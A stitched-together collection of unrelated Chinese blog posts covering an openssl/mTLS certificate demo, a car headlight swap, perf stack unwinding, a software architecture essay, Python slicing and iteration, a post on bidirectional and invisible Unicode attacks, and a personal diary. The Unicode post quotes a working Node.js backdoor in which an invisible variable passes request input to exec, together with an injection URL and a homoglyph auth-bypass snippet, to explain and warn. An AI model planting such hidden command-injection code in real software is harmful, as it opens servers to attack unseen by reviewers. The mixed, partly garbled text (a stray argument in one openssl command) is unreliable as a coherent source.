是的,这个过程就是在“套娃”,这种证书机构还可以给下级的证书机构发证,于是就会一层套一层地,形成一个证书链,顶层的叫根证书,你得绝对信任之。对于验证证书真实性的客户端,它需要能够验证链中所有 CA 的签名,这意味着客户端需要访问链中所有 CA 的证书。
并不是所有的场景都需要向这些大型的 CA 机构申请公钥证书,在任何一个企业,组织或是团体内都可以自己形这样的“小王国”,也就是说,你可以自行生成这样的证书,只需要你自己保证自己的生成证书的私钥的安全,以及不需要扩散到整个互联网。下面,我们用 openssl
命令来演示这个过程。
1)生成 CA 的证书(公钥) ca.crt
和私钥 ca.key
openssl req -newkey rsa:2048 \ -new -nodes -x509 \ -days 365 \ -out ca.crt \ -keyout ca.key \ -subj "/C=SO/ST=Earth/L=Mountain/O=CoolShell/OU=HQ/CN=localhost"
2) 生成 alice 的私钥
openssl genrsa -out alice.key 2048
3)生成 Alice 的 CSR – Certificate Signing Request
openssl req -new -key alice.key 365 -out alice.csr \ -subj "/C=CN/ST=Beijing/L=Haidian/O=CoolShell/OU=Test/CN=localhost.alice"
4)使用 CA 给 Alice 签名证书
openssl x509 -req -in alice.csr \ -extfile <(printf "subjectAltName=DNS:localhost.alice") \ -CA ca.crt -CAkey ca.key \ -days 365 -sha256 -CAcreateserial \ -out alice.crt
上面,我们说的基本上都是单向认证,大量的场景都是确保用户方访问的是真正的服务方,如:银行,电商网站,等。这样可以保证用户不会被钓鱼网站或是中间人攻击。但是,很多时候,我们也是需要双向认证的。下面是一个典型的场景——微信支付和商户间交互
这个过程中有件事非常重要——就是微信通知商户支付完成的时候。
一般来说,微信会给商户一个 AppID和一个 AppSerct,用这个来确保是我认证过的商户来调用我,然后,需要商户在自己的系统里填一个回调的 URL,并通过平台设置的 key来做 MD5/HMAC的签名来确保是官方的回调。这都是在《HTTP API 认证授权术》中提到过的技术,是相对传统的技术。
如今,mTLS是确保云原生应用程序中服务之间的通信安全的首选协议。 也就是双向认证。
传统的 TLS 认证过程是:
在 mTLS 中,客户端和服务器都有一个证书,双方都使用他们的公钥/私钥对进行身份验证。与常规 TLS 相比,mTLS 中有额外的步骤来验证双方(以粗体显示的额外步骤):
mTLS 需要“根”TLS 证书;这我们自己来完成证书颁发机构的职责。授权客户端和服务器使用的证书必须与此根证书相对应。根证书是自签名的,这意味着我们需要自己创建它。(注:此方法不适用于公共 Internet 上的单向 TLS,因为外部证书颁发机构必须颁发这些证书)
那么,为什么整个互联网上都用了 TLS 了,为什么 不升级一下使用 mTLS?这里有两方面的原因:
在较小的范围内,mTLS 对于单个组织非常有用且非常实用,尤其是当这些组织采用零信任方法来确保网络安全时。由于默认情况下零信任方法不信任任何用户、设备或请求,因此组织必须能够在每次尝试访问网络中的任何点时对每个用户、设备和请求进行身份验证。mTLS 通过对用户进行身份验证和设备验证来帮助实现这一目标。
关于 mTLS,这里有一个我用 Golang 写的示例 – https://github.com/haoel/mTLS,大家可以参考一下。
P.S. 本文图版中的卡司来自安全圈的标准 Cast,参看 Alice and Bob。
(全文完)
(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)
2021年剩最后一天了,给博客除个草算是作别过去的一年,迎接2022年的到来。上海入秋以后那几天阴雨绵绵,下班后路上都看不清,忍了很久的蜡烛灯,早些年没上氙气灯怕电路吃不消,这几年LED的大发展,终于可以用一个安全的方式升级灯光了。这是第二次更换前大灯灯泡,第一次是好几年前将原车的卤素等换成了欧司朗的夜行者,发现作用不是很大。这次买了飞利浦的LED。
原车是H4的双丝卤素灯泡,额定功率55W,我在某宝某东搜索,想买55W的LED,发现都是杂牌,大牌货都只有22W,就选了个飞利浦的星耀光3000,6500K色温的LED,6500K的色温就是惨白光了,亮度好,致命缺陷就是穿透力太低,雾天就是残废,不过好歹我原车有前雾灯,所以也就无所谓了。
1、先取下灯碗防尘罩,先拔掉插头,需要用点力,然后将皮罩子用力拽下来
2、将LED灯泡的黑色卡扣取下来卡进皮罩子中,去卡扣需要旋转一个角度一拔就下来了
3、取掉原车H4灯泡,里面有个金属卡扣捏住以后往外拨弄一下就好了,网上一大堆教程就不说了
4、将LED灯泡从皮罩子后面插进去,卡进黑色卡扣,固定在皮罩子上,然后放进灯碗固定
5、另一侧防尘罩后面有雨刮注水口不好操作,要先把注水口拔下来,然后在重复之前的动作
天黑找面墙或者暗一点的地库,测试一下远光和近光的效果,没有问题就手工,完成
perf
是 Linux 下重要的性能分析工具,perf
可以通过采样获取很多性能指标,其中最常用的是获取 CPU Cycles,即程序各部分代码运行所需的时间,进而确定性能瓶颈在哪。不过在实际使用过程中发现,简单的使用perf record -g
获取到的调用栈是有问题的,存在大量 [Unknown]
函数,从 perf report
的结果来看这些部分对应地址大部分都是非法地址,且生成的火焰图中存在很多明显与代码矛盾的调用关系。
最初怀疑是优化级别的问题,然而尝试使用 Og
或 O0
优化依然存在此问题,仔细阅读 perf record
的手册后发现,perf
同时支持 3 种栈回溯方式:fp
, dwarf
, lbr
,可以通过 --call-graph
参数指定,而 -g
就相当于 --call-graph fp
.
fp
就是 Frame Pointer,即 x86 中的 EBP
寄存器,fp
指向当前栈帧栈底地址,此地址保存着上一栈帧的 EBP
值,具体可参考此文章的介绍,根据 fp
就可以逐级回溯调用栈。然而这一特性是会被优化掉的,而且这还是 GCC 的默认行为,在不手动指定 -fno-omit-frame-pointer
时默认都会进行此优化,此时 EBP
被当作一般的通用寄存器使用,以此为依据进行栈回溯显然是错误的。不过尝试指定 -fno-omit-frame-pointer
后依然没法获取到正确的调用栈,根据 GCC 手册的说明,指定了此选项后也并不保证所有函数调用都会使用 fp
…… 看来只有放弃使用 fp
进行回溯了。
dwarf
是一种调试文件格式,GCC 编译时附加的 -g
参数生成的就是 dwarf
格式的调试信息,其中包括了栈回溯所需的全部信息,使用 libunwind
即可展开这些信息。dwarf
的进一步介绍可参考 “关于DWARF”,值得一提的是,GDB 进行栈回溯时使用的正是 dwarf
调试信息。实际测试表明使用 dwarf
可以很好的获取到准确的调用栈。
最后 perf
还支持通过 lbr
获取调用栈,lbr
即 Last Branch Records,是较新的 Intel CPU 中提供的一组硬件寄存器,其作用是记录之前若干次分支跳转的地址,主要目的就是用来支持 perf
这类性能分析工具,其详细说明可参考 “An introduction to last branch records” & “Advanced usage of last branch records”。此方法是性能与准确性最高的手段,然而它存在一个很大的局限性,由于硬件 Ring Buffer 寄存器的大小是有限的,lbr
能记录的栈深度也是有限的,具体值取决于特定 CPU 实现,一般就是 32 层,若超过此限制会得到错误的调用栈。
实际测试下以上 3 种栈回溯方式得到的结果,测试程序是一个调用深度为 50 的简单程序,从 f0()
依次调用至 f50()
。
--call-graph fp
:
--call-graph lbr
:
--call-graph dwarf
:
可以看到,的确只有 dwarf
获取到了正确的调用栈。
优点 | 缺点 | |
---|---|---|
fp | None | 1. 默认 fp 被优化掉了根本不可用。 |
lbr | 1. 高效准确 | 1. 需要较新的 Intel CPU 才有此功能;2. 能记录的调用栈深度有限。 |
dwarf | 1. 准确 | 1. 开销相对较大;2. 需要编译时附加了调试信息。 |
参考资料:
原文:Origin of metaclasses in python
译者:豌豆花下猫@Python猫
声明:本翻译是出于交流学习的目的,基于 CC BY-NC-SA 4.0 授权协议。为便于阅读,内容略有改动,所有图片皆为译者所加。
工作 20 多年了,这 20 来年看到了很多公司系统架构,也看到了很多问题,在跟这些公司进行交流和讨论的时候,包括进行实施和方案比较的时候,都有很多各种方案的比较和妥协,因为相关的经历越来越多,所以,逐渐形成了自己的逻辑和方法论。今天,想写下这篇文章,把我的这些个人的经验和想法总结下来,希望能够让更多的人可以参考和借鉴,并能够做出更好的架构来。另外,我的这些思维方式和原则都针对于现有市面上众多不合理的架构和方案,所以,也算是一种“纠正”……(注意,这篇文章所说的这些架构上的原则,一般适用于相对比较复杂的业务,如果只是一些简单和访问量不大的应用,那么你可能会得出相反的结论)
对于软件架构来说,我觉得第一重要的是架构的收益,如果不说收益,只是为了技术而技术,而没有任何意义。对于技术收益来说,我觉得下面这几个收益是非常重要的:
如果一个系统架构不能在上面三个事上起到作用,那就没有意义了。
国内很多公司都会有很多分工,基本上都会分成运维和开发,运维又会分成基础运维和应用运维,开发则会分成基础核心开发和业务开发。不同的分工会导致完全不同的视角和出发点。比如,基础运维和开发的同学更多的只是关注资源的利用率和性能,而应用运维和业务开发则更多关注的是应用和服务上的东西。这两者本来相关无事,但是因为分布式架构的演进,导致有一些系统已经说不清楚是基础层的还是应用层的了,比如像服务治理上的东西,里面即有底层基础技术,也需要业务的同学来配合,包括 k8s 也样,里面即有底层的如网络这样的技术,也有需要业务配合的 readniess和 liveness 这样的健康检查,以及业务应用需要 configMap 等等 ……
这些东西都让我感觉到所谓 DevOps,其实就是因为很多技术和组件已经分不清是 Dev 还是 Ops 的了,所以,需要合并 Dev和 Ops。而且,整个组织和架构的优化,已经不能通过调优单一分工或是单一组件能够有很大提升的了。其需要有一种自顶向下的,整体规划,统一设计的方式,才能做到整体的提升(可以试想一下城市交通的优化,当城市规模到一定程度的时候,整体的性能你是无法通过优化几条路或是几条街区来完成的,你需要对整个城市做整体的功能体的规划才可能达到整体效率的提升)。而为了做到整体的提升,需要所有的人都要有一个统一的视角和目标,这几年来,我觉得这个目标就是——要站在服务和 对外API的视角来看问题,而不是技术和底层的角度。
技术选型是一件很重要的事,技术一旦选错,那会导致整个架构需要做调整,而对架构的调整重来都不是一件简单的事,我在过去几年内,当系统越来越复杂的时候,用户把他们的 PHP,Python, .NET,或 Node.js 的架构完全都迁移到 Java + Go 的架构上来的案例不断的发生。这个过程还是非常痛苦的,但是你没有办法,当你的系统越来越复杂,越来越大时,你就再也不能在一些玩具技术上玩了,你需要的更为工业化的技术。
在我见过的公司中,好些公司的架构都被技术负责人个人的喜好、擅长和个人经验给绑架了,完全不是从一个客观的角度来进行技术选型。其实,从 0 到 1 的阶段,你用什么样的技术都行,如果你做一个简单的应用,没有事务处理没有复杂的交易流程,比如一些论坛、社交之类的应用,你用任何语言都行。但是如果有一天你的系统变复杂了,需要处理交易了,量也上来了,从 1 到 10,甚至从 10 到 100,你的开发团队也变大了,需要构建的系统越来越大,你可能会发现你只有一个选择,就是 Java。想想京东从.NET 到 Java,淘宝从 PHP 到 Java……
注,一些有主观喜好的人一定会对我上述对 Java 的描述感到不适,我还用一些证据说明一下——全中国所有的电商平台,几百家银行,三大电信运营商,所有的保险公司,劵商的系统,医院里的系统,电子政府系统,等等,基本都是用 Java 开发的,包括 AWS 的主流语言也是 Java,阿里云一开始用 C++/Python 写控制系统,后面也开始用 Java ……你可能会说 B站是用 go语言,但是你可能不知道 B 站的电商和大数据是用 Java……懂着数据分析的同学,建议上各大招聘网站上搜一下 Java 的职位数量,你就知道某个技术是否主流和热门……
我发现好些公司的架构师做架构的时候,首要考虑的是架构的性能是否能够撑得住多大多大的流量,而不是考虑系统的完备性和扩展性。所以,我已经多次见过这样的案例了,一开始直接使用 MongoDB 这样的非关系型数据库,或是把数据直接放在 Redis 里,而直接放弃关系型数据库的数据完备性的模型,而在后来需要在数据上进行关系查询的时候,发现 NoSQL 的数据库在 Join 上都表现的太差,然后就开始各种飞线,为了不做 Join 就开始冗余数据,然而自己又维护不好冗余数据后带来的数据一致性的问题,导致数据上的各种错乱丢失。
所以,我给如下的一些如下的架构原则:
为了追求所谓的性能,把整个系统的完备性丢失掉,相当地得不偿失。
这个原则是非常重要的,因为只有服从了标准,你的架构才能够有更好的扩展性。比如:我经常性的见到很多公司的系统既没有服从业界标准,也没有形成自己公司的标准,感觉就像一群乌合之众一样。最典型的例子就是 HTTP 调用的状态返回码。业内给你的标准是 200表示成功,3xx 跳转,4xx 表示调用端出错,5xx 表示服务端出错,我实在是不明白为什么无论成功和失败大家都喜欢返回 200,然后在 body 里指出是否error(前两年我在微信公众号里看到一个有一定名气的互联网老兵推荐使用无论正确还是出错都返回 200 的做法,我在后台再三确认后,我发现这样的架构师真是害人不浅)。这样做最大的问题是——监控系统将在一种低效的状态下工作。监控系统需要把所有的网络请求包打开后才知道是否是错误,而且完全不知道是调用端出错还是服务端出错,于是一些像重试或熔断这样的控制系统完全不知道怎么搞(如果是 4xx错,那么重试或熔断是没有意义的,只有 5xx 才有意义)。有时候,我会有种越活越退步的感觉,错误码设计这种最基本最基础的东西为什么会没有?并且一个公司会任由着大家乱来?这些基础技能怎么就这样丢掉了?
还有,我还见过一些公司,他们整个组织没有一个统一的用户 ID 的设计,各个系统之间同步用户的数据是通过用户的身份证 ID,是的,就是现实世界的身份证 ID,包括在网关上设置的用户白名单居然也是用身份证 ID。我对这个公司的内的用户隐私管理有很大的担忧。一个企业,一个组织,如果没有标准和规范,也就会有抽象,这一定是要出各种乱子的。
下面,我罗列一些你需要注意的标准和规范(包括但不限于):
这里重要说一下两个事:
在我见过很多架构里,技术人员只考虑当下,但从来不考虑系统的未来扩展性和可运维性。所谓的管生不管养。如果你生下来的孩子胳膊少腿,严重畸形,那么未来是很难玩的。因为架构和软件不是写好就完的,是需要不断修改不断维护的,80%的软件成本都是在维护上。所以,如何让你的架构有更好的扩展性,可以更容易地运维,这个是比较重要的。所谓的扩展性,意味着,我可以很容易地加更多的功能,或是加入更多的系统,而所谓可运维,就是说我可以对线上的系统做任意的变更。扩展性要求的是有标准规范且不耦合的业务架构,可运维性要求的则是可控的能力,也就是一组各式各样的控制系统。
所有的程序都会有两种逻辑,一种是业务逻辑,一种是控制逻辑,业务逻辑就是完成业务的逻辑,控制逻辑是辅助,比如你用多线程,还是用分布式,是用数据库还是用文件,如何配置、部署,运维、监控,事务控制,服务发现,弹性伸缩,灰度发布,高并发,等等,等等 ……这些都是控制逻辑,跟业务逻辑没有一毛钱关系。控制逻辑的技术深度会通常会比业务逻辑要深一些,门槛也会要高一些,所以,最好要专业的程序员来负责控制逻辑的开发,统一规划统一管理,进行收口。这其中包括:
对此,这里的原则是:
我发现很多公司都很非常大的技术债务,这些债务具体表现如下:
来找我寻求技术帮助的人都有各种各样的问题。我都会对他们苦口婆心地说同样的一句话——“如果你是来找我 case-by-case 解决问题,我兴趣不大,因为,你们千万不要寄希望能够很简单的把一辆夏利车改成一辆法拉利跑车,或是把一栋地基没打好的歪楼搞正。以前欠下的技术债,都得要还,没打好的地基要重新打,没建配套设施都要建。这些基础设施如果不按照正确科学的方式建立的话,你是不可能有一个好的的系统,我也没办法帮你 case-by-case 的解决问题……”,一开始,他们都会对我说,没问题,我们就是要还债,但是,最后发现要还的债真多,有点承受不了,就开始现原形了。
他们开始为自己的“欠的技术债”找各种合理化的理由——给你解释各种各样的历史原因和不得以而为之的理由。谈着谈着,让我有一种感觉——他们希望得到一种什么都不改什么都不付出的方式就可以进步的心态,他们宁可让新的技术 low 下来迁就于这些技术债,把新的技术滥用地乱七八糟的。有一个公司,他们的系统架构和技术选型基本都搞错了,使用错误的模型构建系统,导致整个系统的性能非常之差,也才几千万条数据,但他们想的不是还债,不是把地基和配套设施建好,而且要把楼修的更高,上更多的系统——他们觉得现有的系统挺好,性能问题的原因是他们没一个大数据平台,所以要建大数据平台……
我见过很多很多公司,包括大如 BAT 这样的公司,都会在原来的技术债上进行更多的建设,然后,技术债越来越大,利息越来越大,最终成为一个高利贷,再也还不了(我在《开发团队的效率》一文中讲过一个 WatchDog 的架构模式,一个系统烂了,不是去改这个系统,而是在旁边建一个系统来看着它,我很难理解为什么会有这样的逻辑,也许是为了要解决更多的就业……)
这里有几个原则和方法我是非常坚持的,分享给大家:
有好些人来找我跟我说他们的技术问题,然后希望我能够给他们一个答案。我说,我需要了解一下你现有系统的情况,也就是需要先做个诊断,我只有得到这些数据后,我才可能明白真正的原因是什么 ,我才可能给你做出一个比较好的技术方案。我个人觉得这是一种对对方负责的方法,因为技术手段太多了,所有的技术手段都有适应的场景,并且有各种 trade-off,所以,只有调研完后才能做出决定。这跟医生看病是一样的,确诊病因不能靠经验,还是要靠诊断数据。在科学面前,所有的经验都是靠不住的……
另外,如果有一天你在做技术决定的时候,开始凭自己以往的经验,那么你就已经不可能再成长了。人都是不可能通过不断重复过去而进步的,人的进步从来都是通过学习自己不知道的东西。所以,千万不要依赖于自己的经验做决定。做任何决定之前,最好花上一点时间,上网查一下相关的资料,技术博客,文章,论文等 ,同时,也看看各个公司,或是各个开源软件他们是怎么做的?然后,比较多种方案的 Pros/Cons,最终形成自己的决定,这样,才可能做出一个更好的决定。
对于 X-Y 问题,也就是说,用户为了解决 X问题,他觉得用 Y 可以解,于是问我 Y 怎么搞,结果搞到最后,发现原来要解决的 X 问题,这个时候最好的解决方案不是 Y,而是 Z。 这种 X-Y 问题真是相当之多,见的太多太多了。所以,每次用户来找我的时候,我都要不断地追问什么是 X 问题。
比如,好些用户都会来问我他们要一个大数据流式处理,结果追问具体要解决什么样的问题时,才发现他们的问题是因为服务中有大量的状态,需要把相同用户的数据请求放在同一个服务上处理,而且设计上导致一个慢函数拖慢整个应用服务。最终就是做一下性能调优就好了,根本没有必要上什么大数据的流式处理。
我很喜欢追问为什么 ,这种追问,会让客户也跟着来一起重新思考。比如,有个客户来找我评估的一个技术架构的决定,从理论上来说,好像这个架构在用户的这个场景下非常不错。但是,这个场景和这个架构是我职业生涯从来没有见过的。于是,我开始追问这个为什么会是这么一个场景?当我追问的时候,我发现用户都感到这个场景的各种不合理。最后引起了大家非常深刻的研讨,最终用户把那个场景修正后,而架构就突然就变成了一个常见且成熟的的模型……
我对技术的态度是比较激进的,但是,所谓的激进并不是瞎搞,也不是见新技术就上,而是积极拥抱会改变未来的新技术,如:Docker/Go,我就非常快地跟进,但是像区块链或是 Rust 这样的,我就不是很积极。因为,其并没有命中我认为的技术趋势的几个特征(参看《Go,Docker 和新技术 》)。当然,我也不是不喜欢的就不学了,我对区块链和 Rust 我一样学习,我也知道这些技术的优势,但我不会大规模使用它们。另外,我也尊重保守的决定,这里面没有对和错。但是,我个人觉得对技术激进的态度比起保守来说有太多的好处了。一方面来说,对于用户来说,很大程度上来说,新技术通常都表面有很好的竞争力,而且我见太多这样成功的公司都在积极拥抱新的技术的,而保守的通常来说都越来越不好。
有一些人会跟我说,我们是实用主义,我们不需要创新,能解决当下的问题就好,所以,我们不需要新技术,现有的技术用好就行了。这类的公司,他们的技术设计第一天就在负债,虽然可以解决当下问题,但是马上就会出现新的问题,然后他们会疲于解决各种问题。最后呢,最后还是会走到新的技术上。
这里的逻辑很简单 —— 进步永远来自于探索,探索是要付出代价的,但是收益更大。对我而言,不敢冒险才是最大的冒险,不敢犯错才是最大的错误,害怕失去会让你失去的更多……
(全文完)
(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)
# @Python猫
li = [1, 4, 5, 6, 7, 9, 11, 14, 16]
# 以下写法都可以表示整个列表,其中 X >= len(li)
li[0:X] == li[0:] == li[:X] == li[:] == li[::] == li[-X:X] == li[-X:]
li[1:5] == [4,5,6,7] # 从1起,取5-1位元素
li[1:5:2] == [4,6] # 从1起,取5-1位元素,按2间隔过滤
li[-1:] == [16] # 取倒数第一个元素
li[-4:-2] == [9, 11] # 从倒数第四起,取-2-(-4)=2位元素
li[:-2] == li[-len(li):-2] == [1,4,5,6,7,9,11] # 从头开始,取-2-(-len(li))=7位元素
# 步长为负数时,列表先翻转,再截取
li[::-1] == [16,14,11,9,7,6,5,4,1] # 翻转整个列表
li[::-2] == [16,11,7,5,1] # 翻转整个列表,再按2间隔过滤
li[:-5:-1] == [16,14,11,9] # 翻转整个列表,取-5-(-len(li))=4位元素
li[:-5:-3] == [16,9] # 翻转整个列表,取-5-(-len(li))=4位元素,再按3间隔过滤
# 切片的步长不可以为0
li[::0] # 报错(ValueError: slice step cannot be zero)
>>> li = [1, 2]
>>> li[5]
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
IndexError: list index out of range
>>> li = [1, 2]
>>> li[1:5] # 右索引超出
[2]
>>> li[5:6] # 左右索引都超出
[]
The slice of s from i to j is defined as the sequence of items with index k such that
i <= k < j
. If i or j is greater thanlen(s)
, uselen(s)
. If i is omitted orNone
, use0
. If j is omitted orNone
, uselen(s)
. If i is greater than or equal to j, the slice is empty.
>>> li = [1, 2]
>>> li[1:5] # 等价于 li[1:2]
[2]
>>> li[5:6] # 等价于 li[2:2]
[]
for
循环看出本质。for
语句。对象告诉for
如何进行协作,而for
的循环体会处理对象返回的内容。for
本身(通过 each
)是对象的一个方法。调用者将for
循环体传递给这个方法。class Stuff:
def __init__(self):
self.a_list = [1,2,3,4]
self.position = 0
def __next__(self):
try:
value = self.a_list[self.position]
self.position += 1
return value
except IndexError:
self.position = 0
raise StopIteration
def __iter__(self):
return self
for data in Stuff():
print(data)
each
方法中,使用yield
与代码块进行交互,将值传递给代码块来做你需要做的事情(对于任何方法,代码块都是一种隐式参数)。class Stuff
def initialize
@a_list = [1, 2, 3, 4]
end
def each
for item in @a_list
yield item
end
end
end
each
进行迭代:Stuff.new().each do |item|
puts item
end
map
和filter
,这些表达式的核心与 for/迭代的语义是相同的。In [2]: [item for item in Stuff()]
Out[2]: [1, 2, 3, 4]
In [3]: [item for item in Stuff() if item % 2 == 0]
Out[3]: [2, 4]
each
方法,还有一系列常用于处理集合的新方法,如下所示:class Stuff
...
def select
out = []
each do |e|
# If block returns truthy on e, append to out
if yield(e)
out << e
end
end
out
end
def map
out = []
# One line block syntax, append output of block processed on e to out
each {|e| out << yield(e) }
out
end
puts Stuff.new().map {|item| item}
puts Stuff.new().select{|item| item.even?}
最近,我们在 Github 的 Code Review 中看到 Github 开始出现下面这个 Warning 信息—— “This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below.”也就是说我们的代码中有一些 bidirectional unicode 的文本,中文直译作 “双向文本”,意思是一些语言是从左到右的,而另一些则是是从右到左的(如:阿拉伯语),如果同一个文件里,即有从左向右的文本也有从右向左文本两种的混搭,那么,就叫bi-direction。术语通常缩写为“ BiDi ”或“ bidi ”。使用双向文本对于中国人来说并不陌生,因为中文又可以从左到右,也可以从右到左,还可以从上到下。
早期的计算机仅设计为基于拉丁字母的从左到右的方式。添加新的字符集和字符编码使许多其他从左到右的脚本能够得到支持,但不容易支持从右到左的脚本,例如阿拉伯语或希伯来语,并且将两者混合使用更是不可能。从右到左的脚本是通过ISO/IEC 8859-6和ISO/IEC 8859-8等编码引入的,通常以书写和阅读顺序存储字母。可以简单地将从左到右的显示顺序翻转为从右到左的显示顺序,但这样做会牺牲正确显示从左到右脚本的能力。通过双向文本支持,可以在同一页面上混合来自不同脚本的字符,而不管书写方向如何。
双向文本支持是计算机系统正确显示双向文本的能力。对于Unicode来说,其标准为完整的 BiDi 支持提供了基础,其中包含有关如何编码和显示从左到右和从右到左脚本的混合的详细规则。你可以使用一些控制字符来帮助你完成双向文本的编排。
好的,科普完“双向文本”后,我们正式进入正题,为什么Github 会出这个警告?Github的官方博客“关于双向Unicode的警告”中说,使用一些Unicode中的用于控制的隐藏字符,可以让你代码有着跟看上去完全不一样的行为。
我们先来看一个示例,下面这段 Go 的代码就会把 “Hello, World”的每个字符转成整型,然后计算其中多少个为 1 的 bit。
package main import "fmt" func main() { str, mask := "Hello, World!10x", 0 bits := 0 for _, ch := range str { for ch > 0 { bits += int(ch) & mask ch = ch >> 1 } } fmt.Println("Total bits set:", bits) }
这个代码你看上去没有什么 奇怪的地方,但是你在执行的时候(可以直接上Go Playground上执行 – https://play.golang.org/p/e2BDZvFlet0),你会发现,结果是 0,也就是说“Hello, World”中没有值为 1 的 bit 位。这究竟发生了什么事?
如果你把上面这段代码拷贝粘贴到字符界面上的 vim 编辑器里,你就可以看到下面这一幕。
其中有两个浅蓝色的尖括号的东西—— <202e>
和 <202d>
。这两个字符是两个Unicode的控制字符(注:完整的双向文本控制字符参看 Unicode Bidirectional Classes):
10x", 0
变成了 0 ,"x01
0,"x01
中的前4个字符0 ,"
反转成 ", 0
,于是整个文本成了 ", 0x01
所以,你在视觉上看到的是结果是—— "Hello, World!”, 0x01
, 但是实际上是完全是另外一码事。
然后,Github官方博客中还给了一个安全问题 CVE-2021-42574 ——
在 Unicode 规范到 14.0 的双向算法中发现了一个问题。它允许通过控制序列对字符进行视觉重新排序,可用于制作源代码,呈现与编译器和解释器执行逻辑完全不同的逻辑。攻击者可以利用这一点对接受 Unicode 的编译器的源代码进行编码,从而将目标漏洞引入人类审查者不可见的地方。
这个安全问题在剑桥大学的这篇论文“Some Vulnerabilities are Invisible”中有详细的描述。其中PDF版的文章中也给了这么一个示例:
通过双向文本可以把下面这段代码:
伪装成下面的这个样子:
在图 2 中'alice'
被定义为价值 100,然后是一个从 Alice 中减去资金的函数。最后一行以 50 的值调用该函数,因此该小程序在执行时应该给我们 50 的结果。
然而,图 1 向我们展示了如何使用双向字符来破坏程序的意图:通过插入RLI (Right To Left Isolate) – U+2067,我们将文本方向从传统英语更改为从右到左。尽管我们使用了减去资金功能,但图 1 的输出变为 100。
除此之外,支持Unicode还可以出现很多其它的攻击,尤其是通过一些“不可见字符”,或是通过“同形字符”在源代码里面埋坑。比如文章“The Invisible Javascript Backdoor”里的这个示例:
const express = require('express'); const util = require('util'); const exec = util.promisify(require('child_process').exec); const app = express(); app.get('/network_health', async (req, res) => { const { timeout,ㅤ} = req.query; const checkCommands = [ 'ping -c 1 google.com', 'curl -s http://example.com/',ㅤ ]; try { await Promise.all(checkCommands.map(cmd => cmd && exec(cmd, { timeout: +timeout || 5_000 }))); res.status(200); res.send('ok'); } catch(e) { res.status(500); res.send('failed'); } }); app.listen(8080);
上面这个代码实现了一个非常简单的网络健康检查,HTTP会执行 ping -c 1 google.com
以及 curl -s http://example.com
这两个命令来查看网络是否正常。其中,可选输入 HTTP 参数timeout
限制命令执行时间。
然后,上面这个代码是有不可见的Unicode 字符,如果你使用VSCode,把编码从 Unicode 改成 DOS (CP437) 后你就可以看到这个Unicode了
于是,一个你看不见的 πàñ
变量就这样生成了,你再仔细看一下整个逻辑,这个看不见的变量,可以让你的代码执行他想要的命令。因为,http 的请求中有第二个参数,这个参数可奖在后面被执行。于是我们可以构造如下的的 HTTP 请求:
http://host:port/network_health?%E3%85%A4=<any command>
其中的,%E3%85%A4 就是 \u3164
这个不可见Unicode 的编码,于是,一个后门代码就这样在神不知鬼不觉的情况下注入了。
另外,还可以使用“同形字符”,看看下面这个示例:
if(environmentǃ=ENV_PROD){ // bypass authZ checks in DEV return true; }
如何你以为 ǃ
是 惊叹号,其实不是,它是一个Unicode ╟â
。这种东西就算你把你的源码转成 DOS(CP437) 也没用,因为用肉眼在一大堆正常的字符中找不正常的,我觉得是基本不可能的事。
现在,是时候检查一下你的代码有没有上述的这些情况了……
(全文完)
(转载本站文章请注明作者和出处 酷 壳 – CoolShell ,请勿用于任何商业用途)
这个双十一,打折最猛的肯定不是电商,而是那波打骨折的冷空气,前一天还是30度的热辣艳阳,后一天就成15度的萧瑟阴霾了。秋天还没来,冬天就上赶着催着它走了。淬不及防找出秋衣秋裤,洗晒妥当赶紧扒上,毕竟我这冻死鬼投的胎可扛不住这番造,果不其然,这还没两周就咳嗽上了,又是鼻窦炎又是咽炎的。
我的三年云服务器终于到期了,阿里云这个续费的坑能填几个新购的量了,外加老客户与go不得享受优惠,终究是对阿里云错付了。趁着双十一,鹅云的还不错,又买了三年的245的主机,一共546块钱,工作越来越忙,时间越来越少,也不是挤不出时间写博,只是那拖延症的毛病又在作怪。明年抽空改个版,博客的小程序上次也只做了一半,页面做好了,接口没写,还有几个之前的半拉子工程争取一次性解决了。要不然这500多块钱不又白花了。迁移完数据,在鹅云里面做备案,备案倒是也简单,只是我的备案名称是编程技术,为了顺利通过只能改title,对SEO来说这是大忌,可惜了我的排名啊。
到衢州后,公司是提供宿舍的,但是洗漱用品还得买嘛,就逛了一下小超市,买点牙膏牙刷毛巾啥的,也就临时用用,所以图便宜是第一位,看着价签,突然一款5块多钱的牙膏映入眼帘,再一看,这不是黄芩么,瞬时满满的回忆涌上心头,小时候一直刷着黄芩,直到多年后佳洁士霸占市场后才很少见到它,这一晃已是十几年了。小时候除了刷牙,有个蚊虫叮咬、烫伤啥的都会挤点牙膏抹上,感觉就是万能膏药。怎么着也得买上一只国货精品,回来百度了一下,黄芩的原厂家杭州牙膏厂业已倒闭,这焕发的新生是在另外一家厂商的作品了,试了一下还是那个配方,还是那个味道。
衢州的雨真是丰富的都有层次感了,夏天去暴雨倾盆,秋天去绵延不绝。去十次,八次都不落空,也不知是雨神附体还是冲撞了龙王。早上出门都快到公司了,路口直行正好跳红灯,我也就干脆提前左转走再直行也就到了,好死不死算准了红灯没算准电瓶车,转过来的时候,眼睁睁的看着电瓶车给撞上来了。如图所示,我正常左转绿灯左转,驶向第一根车道,转到路中间发现竟然有辆电瓶车和我同向形式,但是在逆向非机动车道上,正好处在我的A柱盲区中,等我转过来才发现她,她径直的把我车从头到尾来个刮擦,万幸,人是缓慢倒地,没摔着,并且还是非法带人,一车俩人,估计也是四只脚做了支撑,要不然后果不堪设想。下车,打双跳,扶起对方两人,询问是否受伤,答曰没伤到,询问是否需要报警处理,二人也是自知理亏,逆行+违法带人+闯红灯,连连说不用了,没事没事,再问希望怎么处理,二人也说不出个所以然,我就说你们确定人没受伤就行,其它都是小事,对方电瓶车反光镜松动了,也拧不正了,我就说要么我赔100块钱你去修下电瓶车吧,这事就算了,我车刮伤我自己处理。对方也同意了,问了支付宝没有,微信没有真实愁坏我了,还好小伙伴身上带着现金,把钱交她们手上再次确定是否受伤是否需要报警,明确后我们也就各自散了。整个处理流程没啥问题,但是我忘了我三问是否受伤和是否需要报警处理没有录音,就怕万一后面给我纠缠就麻烦了,事故本事我正常行驶,当属无责,但是作为路权较低的一方,一般交警定责的话我会承担一个次要责任,路口没有注意观望这一条。
